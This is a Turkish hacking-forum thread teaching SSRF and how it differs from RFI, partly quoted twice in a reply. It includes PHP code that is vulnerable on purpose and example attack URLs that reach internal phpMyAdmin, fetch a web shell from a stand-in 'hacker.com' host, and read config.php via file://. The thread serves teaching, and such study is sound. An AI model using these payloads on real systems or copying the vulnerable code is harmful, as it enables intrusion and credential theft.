Hoşgeldin Misafir

Server-Side Request Forgery (SSRF) Nedir ? (DETAYLI ANLATIM)

3W0NX

3 Eyl 2024
36 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba dostlar, tekrardan karşınızdayım. Size SSRF ile ilgili bir konu açmak istedim ama tarzı biraz farklı olacak, şöyle ki ben RFI ve SSRF güvenlik açıklarını hep karıştırdım, yazılım okuyunca anlıyorsun farklarını ama backend developer olmayan anlamaz. Konulara başlarken fark etmişsinizdir sürekli muhabbet tarzında başlıyorum aslında burada amacım yeni başlayan kardeşlerime uyarıda bulunmak, bir şeyler başarmak istiyorsanız yazılım öğrenin. Bir sistemin nasıl çalıştığını bilmeden hiç bir zaman gerçek anlamda pentester olamazsınız, bir papağan "babacık" der, anlamını bildiğinden mi yoksa onu ezberlediğinden mi ?

Server-Side Request Forgery (SSRF) Nedir ?

SSRF sunucuyu kullanarak başka bir sunucuya veya servise (dış ağda ya da iç ağda) istek yapmasına olanak tanır. Bu istekler genellikle HTTP, FTP, SMB gibi protokollerle yapılır.

İnternete göre kısaca tanım bu, peki bu tanım sizce de çok eksik değil mi ? Peki, RFI ile ne farkı var dersiniz o zaman. Ben bugün bu farkları ve potansiyel olarak bir web sitesini SSRF ile nasıl tabiri caizse 'hackleyebiliriz' onu anlatacağım.

RFI Nedir ?

RFI, uzaktaki bir dosyanın sunucuya dahil edilmesine (include edilmesine) olanak tanıyan bir güvenlik açığıdır. Saldırgan, uzaktaki bir dosyayı (örneğin, zararlı bir PHP betiği) sunucunun mevcut uygulama koduna dahil ederek çalıştırabilir.

SSRF

PHP:
$req = file_get_contents($baglanti);

Yukarıdaki örnekte gördüğünüz gibi URL üzerinden sunucu üzerinden bir local bağlantı ya da dışarıya bağlantı sağlıyoruz. Bunun çıkardığı çok önemli açıklar var, bunlardan bahsedeceğim.

  • SSRF, ile kişi hedef sunucunun iç ağındaki hizmetlere (örneğin, http://localhost:8080 veya http://192.168.1.100:80) erişim sağlamasına olanak tanır. Bu, iç sistemlerdeki zayıflıkları keşfetmek veya kötü niyetli eylemler gerçekleştirmek için kullanılabilir.
  • Kişi sunucu üzerindeki bir SSRF açığını kullanarak phpMyAdmin, Adminer veya başka bir veritabanı yönetim aracına erişim sağlayabilir. Eğer bu araçların yetkilendirilmesi yoksa, saldırgan veritabanı üzerinde sorgular çalıştırabilir veya verileri dışarı alabilir.
  • Eğer sunucu, belirli bir dış API'ye erişim için yetkilendirme bilgilerini saklıyorsa, SSRF açığı kullanılarak bu API'ye istek yapılabilir. Bu, saldırgana dış kaynaklardan veri çekme veya başka yetkisiz işlemler yapma imkanı tanıyabilir.
Şimdi adım adım örneklerle kafanızda canlanması için bir SSRF açığından faydalanalım,

igl70yb.png


Hedef sitemizde bir mail giriş ekranı var ve giriş yap dediğimizde GET isteği gönderiyor. Peki bu istek filtreli değilse, bir güvenlik açığı oluşturuyorsa ne yapacağız.

Örnek bir filtrelemeyi aşağıya koydum tabi bu filtrelemeden daha fazlasına ihtiyacınız var bu şekilde işe yaramaz, kafanızda canlansın diye koyuyorum.

Kod:
$baglanti = $_GET['baglanti'];

if (preg_match('/^https?:\/\//', $baglanti)) {
    $res = file_get_contents($baglanti);
} else {
    die('Sadece HTTP ve HTTPS isteği izinlidir');
}

Peki, SSRF ile bizim giremediğimiz ama sunucunun kendi local ağı üzerinden girebildiği bir yere bağlanmak istersek ne olur ? Örneğin, phpmyadmin.

7lkcvn6.png


Gördüğünüz gibi PhpMyAdmin'e dışardan ulaşmak istersek büyük bir ihtimalle 403 - Forbidden gelecektir. Peki, SSRF ile bunun önüne nasıl geçeriz,

Kod:
example.com/istek.php?baglanti=http://localhost/phpmyadmin

p8jn9eu.png


Eğer phpMyAdmin, belirli bir IP adresine veya kullanıcıya izin veren bir yapılandırmaya sahipse, SSRF ile bu erişim sağlanabilir. Bu demek oluyor ki PhpMyAdmin kurulduğu sunucunun IP Adresine şifre sormadan erişim izni veriyorsa herhangi bir kullanıcı adı ve şifre erişimi olmadan girebiliriz. Kısaca SSRF PhpMyAdmin'e erişim sağlamak için yeterli değil PhpMyAdmin zayıf yapılandırılmış olmalı.

SSRF ile yapılabilecek başka sızma girişimleri :


  • Yerel dosyalara erişebilirsiniz.
PHP:
$file_path = $_GET['file'];
$content = file_get_contents($file_path);
echo $content;

  • Web Shell çekebilirsiniz.
PHP:
$baglanti = $_GET['baglanti'];
file_put_contents('file.php', file_get_contents($baglanti));

example.com/file.php?=http://hacker.com/webshell.php

  • Data okuyabilirsiniz
PHP:
$file_path = $_GET['file'];
// Önemli bir dosyayı okuma
$content = file_get_contents($file_path);
echo $content;

example.com/file.php?=file:///www/config.php

Burada önemli olan gördüğünüz gibi arka planda bulunan PHP betiğinin ne yapmak istediğidir. Yerel dosyaya erişirken başka sunucudan shell çekemezsiniz.

RFI ve SSRF Farkları

Aşağıdaki tabloyu okuyarak umarım edinmek istediğiniz bilgiyi öğrenebilirsiniz.

m7dtrv9.png


Evet dostlar, bir konunun daha sonuna geldik. Olabildiğince sade ve anlaşılır olmaya çalışıyorum çünkü bir çok kaynak okunduktan sonra aklınızda hiç bir şey bırakmıyor. Mantığını öğrenirseniz gerisi zaten gelir, neler yapılabileceğini daha da nasıl geliştirebileceğinizi kendiniz düşünerek bile bulabilirsiniz.

Buraya kadar okuduysanız teşekkürler 🌹
 

BenSean

13 Eyl 2022
533 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhaba dostlar, tekrardan karşınızdayım. Size SSRF ile ilgili bir konu açmak istedim ama tarzı biraz farklı olacak, şöyle ki ben RFI ve SSRF güvenlik açıklarını hep karıştırdım, yazılım okuyunca anlıyorsun farklarını ama backend developer olmayan anlamaz. Konulara başlarken fark etmişsinizdir sürekli muhabbet tarzında başlıyorum aslında burada amacım yeni başlayan kardeşlerime uyarıda bulunmak, bir şeyler başarmak istiyorsanız yazılım öğrenin. Bir sistemin nasıl çalıştığını bilmeden hiç bir zaman gerçek anlamda pentester olamazsınız, bir papağan "babacık" der, anlamını bildiğinden mi yoksa onu ezberlediğinden mi ?

Server-Side Request Forgery (SSRF) Nedir ?

SSRF sunucuyu kullanarak başka bir sunucuya veya servise (dış ağda ya da iç ağda) istek yapmasına olanak tanır. Bu istekler genellikle HTTP, FTP, SMB gibi protokollerle yapılır.

İnternete göre kısaca tanım bu, peki bu tanım sizce de çok eksik değil mi ? Peki, RFI ile ne farkı var dersiniz o zaman. Ben bugün bu farkları ve potansiyel olarak bir web sitesini SSRF ile nasıl tabiri caizse 'hackleyebiliriz' onu anlatacağım.

RFI Nedir ?

RFI, uzaktaki bir dosyanın sunucuya dahil edilmesine (include edilmesine) olanak tanıyan bir güvenlik açığıdır. Saldırgan, uzaktaki bir dosyayı (örneğin, zararlı bir PHP betiği) sunucunun mevcut uygulama koduna dahil ederek çalıştırabilir.

SSRF

PHP:
$req = file_get_contents($baglanti);

Yukarıdaki örnekte gördüğünüz gibi URL üzerinden sunucu üzerinden bir local bağlantı ya da dışarıya bağlantı sağlıyoruz. Bunun çıkardığı çok önemli açıklar var, bunlardan bahsedeceğim.

  • SSRF, ile kişi hedef sunucunun iç ağındaki hizmetlere (örneğin, http://localhost:8080 veya http://192.168.1.100:80) erişim sağlamasına olanak tanır. Bu, iç sistemlerdeki zayıflıkları keşfetmek veya kötü niyetli eylemler gerçekleştirmek için kullanılabilir.
  • Kişi sunucu üzerindeki bir SSRF açığını kullanarak phpMyAdmin, Adminer veya başka bir veritabanı yönetim aracına erişim sağlayabilir. Eğer bu araçların yetkilendirilmesi yoksa, saldırgan veritabanı üzerinde sorgular çalıştırabilir veya verileri dışarı alabilir.
  • Eğer sunucu, belirli bir dış API'ye erişim için yetkilendirme bilgilerini saklıyorsa, SSRF açığı kullanılarak bu API'ye istek yapılabilir. Bu, saldırgana dış kaynaklardan veri çekme veya başka yetkisiz işlemler yapma imkanı tanıyabilir.
Şimdi adım adım örneklerle kafanızda canlanması için bir SSRF açığından faydalanalım,

igl70yb.png


Hedef sitemizde bir mail giriş ekranı var ve giriş yap dediğimizde GET isteği gönderiyor. Peki bu istek filtreli değilse, bir güvenlik açığı oluşturuyorsa ne yapacağız.

Örnek bir filtrelemeyi aşağıya koydum tabi bu filtrelemeden daha fazlasına ihtiyacınız var bu şekilde işe yaramaz, kafanızda canlansın diye koyuyorum.

Kod:
$baglanti = $_GET['baglanti'];

if (preg_match('/^https?:\/\//', $baglanti)) {
    $res = file_get_contents($baglanti);
} else {
    die('Sadece HTTP ve HTTPS isteği izinlidir');
}

Peki, SSRF ile bizim giremediğimiz ama sunucunun kendi local ağı üzerinden girebildiği bir yere bağlanmak istersek ne olur ? Örneğin, phpmyadmin.

7lkcvn6.png


Gördüğünüz gibi PhpMyAdmin'e dışardan ulaşmak istersek büyük bir ihtimalle 403 - Forbidden gelecektir. Peki, SSRF ile bunun önüne nasıl geçeriz,

Kod:
example.com/istek.php?baglanti=http://localhost/phpmyadmin

p8jn9eu.png


Eğer phpMyAdmin, belirli bir IP adresine veya kullanıcıya izin veren bir yapılandırmaya sahipse, SSRF ile bu erişim sağlanabilir. Bu demek oluyor ki PhpMyAdmin kurulduğu sunucunun IP Adresine şifre sormadan erişim izni veriyorsa herhangi bir kullanıcı adı ve şifre erişimi olmadan girebiliriz. Kısaca SSRF PhpMyAdmin'e erişim sağlamak için yeterli değil PhpMyAdmin zayıf yapılandırılmış olmalı.

SSRF ile yapılabilecek başka sızma girişimleri :


  • Yerel dosyalara erişebilirsiniz.
PHP:
$file_path = $_GET['file'];
$content = file_get_contents($file_path);
echo $content;

  • Web Shell çekebilirsiniz.
PHP:
$baglanti = $_GET['baglanti'];
file_put_contents('file.php', file_get_contents($baglanti));

example.com/file.php?=http://hacker.com/webshell.php

  • Data okuyabilirsiniz
PHP:
$file_path = $_GET['file'];
// Önemli bir dosyayı okuma
$content = file_get_contents($file_path);
echo $content;

example.com/file.php?=file:///www/config.php

Burada önemli olan gördüğünüz gibi arka planda bulunan PHP betiğinin ne yapmak istediğidir. Yerel dosyaya erişirken başka sunucudan shell çekemezsiniz.

RFI ve SSRF Farkları

Aşağıdaki tabloyu okuyarak umarım edinmek istediğiniz bilgiyi öğrenebilirsiniz.

m7dtrv9.png


Evet dostlar, bir konunun daha sonuna geldik. Olabildiğince sade ve anlaşılır olmaya çalışıyorum çünkü bir çok kaynak okunduktan sonra aklınızda hiç bir şey bırakmıyor. Mantığını öğrenirseniz gerisi zaten gelir, neler yapılabileceğini daha da nasıl geliştirebileceğinizi kendiniz düşünerek bile bulabilirsiniz.

Buraya kadar okuduysanız teşekkürler 🌹
eline sağlık
 

3W0NX

3 Eyl 2024
36 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Teşekkürler, konu umarım işe yarar olmuştur. Diğer kaynaklar burp suite üzerinden vs anlatmış ama ben o şekilde değil direk neden kaynaklı olduğunu anlatmaya çalıştım kodlarla örneklendirerek, dediğim gibi mantığını öğrenirseniz kendi kendinize çeşitlendirip hangi toollar ile istismar edeceğinizi bulabilirsiniz.
 

THS-AI

THS-AI

THS YAPAY ZEKA
Turkhacks Kurumsal
20 Haz 2025
11,255 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Server-Side Request Forgery (SSRF), saldırganın sunucu üzerinden başka sunuculara veya hizmetlere istek göndermesini sağlayan güvenlik açığıdır. Bu açık sayesinde saldırgan, genellikle hedef sistemin iç ağındaki kaynaklara veya hassas bilgilere ulaşabilir, zararlı işlemler gerçekleştirebilir. SSRF, kötü niyetli URL'ler veya kaynaklar kullanılarak sunucunun kendisine veya dışa çıkış yaptığı diğer sistemlere saldırı yapılmasını sağlar. Güvenlik önlemleri olarak, gelen URL doğrulama, erişim kontrolleri ve güvenlik duvarları kullanılmalı, kullanıcı girdilerindeki URL'ler dikkatli işlenmelidir.